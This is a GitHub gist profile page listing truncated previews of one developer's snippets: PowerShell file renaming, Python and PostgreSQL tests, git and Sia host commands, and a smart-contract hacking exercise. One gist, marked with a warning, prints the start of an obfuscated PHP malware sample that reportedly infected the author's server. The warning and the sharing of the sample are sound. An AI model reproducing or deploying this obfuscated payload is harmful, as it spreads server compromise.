Skip to content

Instantly share code, notes, and snippets.

View DaWe35's full-sized avatar

DaWe DaWe35

View GitHub Profile
@DaWe35
DaWe35 / Music file name corrector (for mp3 downloaded from Vubey)
Last active March 8, 2019 18:05
This script repairs the mp3 music file names downloaded from Vubey.yt. Run it on Windows PowerShell
cd C:\Users\USERNAME\Music\Rename
dir -recurse | where {-Not $_.PsIscontainer -AND $_.name -match "_"} | foreach {
$New=$_.name.Replace("_"," ")
Rename-Item -path $_.Fullname -newname $New -passthru
}
dir -recurse | where {-Not $_.PsIscontainer -AND $_.name -match "-Vubey"} | foreach {
$New=$_.name.Replace("-Vubey","")
A nice design should not break usability! Art & UX need to be friends!
The usual things (footer, menu, etc.) make the website easy to use and cozy. Can you make cozy & unique design at the same time?
https://app.astralapp.com/auth
feedmusic.com
http://rainforest.arkivert.no
https://simplychocolate.dk/
https://crypton.trading/
https://www.franshalsmuseum.nl/en/
https://www.lahautesociete.com/
body:after{
content: "beta";
position: fixed;
width: 80px;
height: 25px;
background: #EE8E4A;
top: 7px;
left: -20px;
text-align: center;
font-size: 13px;
@DaWe35
DaWe35 / PostgreSQL connect test.py
Created August 16, 2019 11:37
Test PostgreSQL server connection with Python 3
import sys
import logging
import psycopg2
class Database:
def __init__(self):
self.host = ''
self.username = ''
Code sniffet for facebook post https://www.facebook.com/groups/wpcsoport/?multi_permalinks=3337324666285340
<div class="desktop-view">
<input id="mezoid" value="1">
</div>
<div class="mobile-view">
<input id="mezoid" value="2">
</div>
@DaWe35
DaWe35 / OBWS_2.md
Created October 4, 2019 21:04 — forked from seresistvanandras/OBWS_2.md
Hacking smart contracts for fun and profit

Hacking smart contracts for fun and profit

Description of the game

The goal of the game to break as many contracts as possible! Note: one of these contracts is a HONEYPOT! BE CAREFUL!!

Claim your Ropsten test ether here!

The contracts you need to break and their addresses:

Commands for managing Git Submodules

Init update:

git submodule update --init --recursive

Update:

git submodule update --recursive --remote

Remove:

  • Delete the relevant section from the .gitmodules file.
DO NOT RUN OR COPY THIS CODE!!! THIS IS A REAL VIRUS, AFFECTED MY SERVER IN 2014!
DANGEROUS AND AFFECT ALL OF YOUR PHP FILES!!!
<?php $drxdgodrrp = '5c%x7878pmpusut)tpqssutRe%^#zsfvr#%x5c%x785cq%x5c8e%x5c%x78b%x5c%x7825ggg!>!#]y81]273]y76]258]y6g]273]y5)dfyfR%x5c%x7827tfs%x5c%x78256<*17-SFEBFI,6<*1%x5c%x7822#)fepmqyfA>2b%x5c%x5c%x7824*<!%x5c%x7825kj:!>!#]y3d]51]y35]256]y76]72]y3d]51]y35]47y]252]18y]#>q%x5c%x7825<#762]67y]562]38y]572]48y]#>m%x5c%x7g}%x5c%x7878;0]=])0#)U!%x5c%x7827{**u%x5c%x7825-#jt0}Z;0]7824y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%x7824]26%x5c%x78*<%x5c%x7825nfd)##Qtpz)#]341]88M4P8]37]278j0#!%x5c%x782f!**#sfmcnbs+yfeobx7860hA%x5c%x7827pd%%x7825%x5c%x7824-%x5c%x7824*<!~!dsfbuf%x5c%x7878<~!!%x5c%x7825s:N}#-%x5c%x7825o:W%x5c%x7825=]0#)2q%x5c%x7825l}S;2-u%x5c5c%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*[#W#-#C#-#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM*<(<%x5c%x77825)sutcvt-#w#)ldbqov>*ofmy%x5c%x7825)utjm!|!*5!%x5c%x7827!hmg%xc%x7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI&c_UOFHB%x5c%x7860SFTV%x5c%x786
@DaWe35
DaWe35 / Sia host setup.md
Last active November 27, 2019 20:20
Setup & config commands for Sia host, Ubuntu (minimal). That helps me out when I want to host from a Rasberry Pi.
  • Flash Ubuntu minimal to a 32GB or bigger MicroSD & start the Rasberry
sudo apt update
sudo apt install screen
sudo apt install openssh-server
sudo systemctl status ssh
sudo apt ufw
sudo ufw allow ssh
sudo ufw allow 9982

sudo nano /etc/passwd-s3fs

key:password

s3.eu-central-1.wasabisys.com is ONLY for EU server.

sudo s3fs DRIVE_NAME /home/USER/FOLDER -o passwd_file=/etc/passwd-s3fs -o allow_other,url=https://s3.eu-central-1.wasabisys.com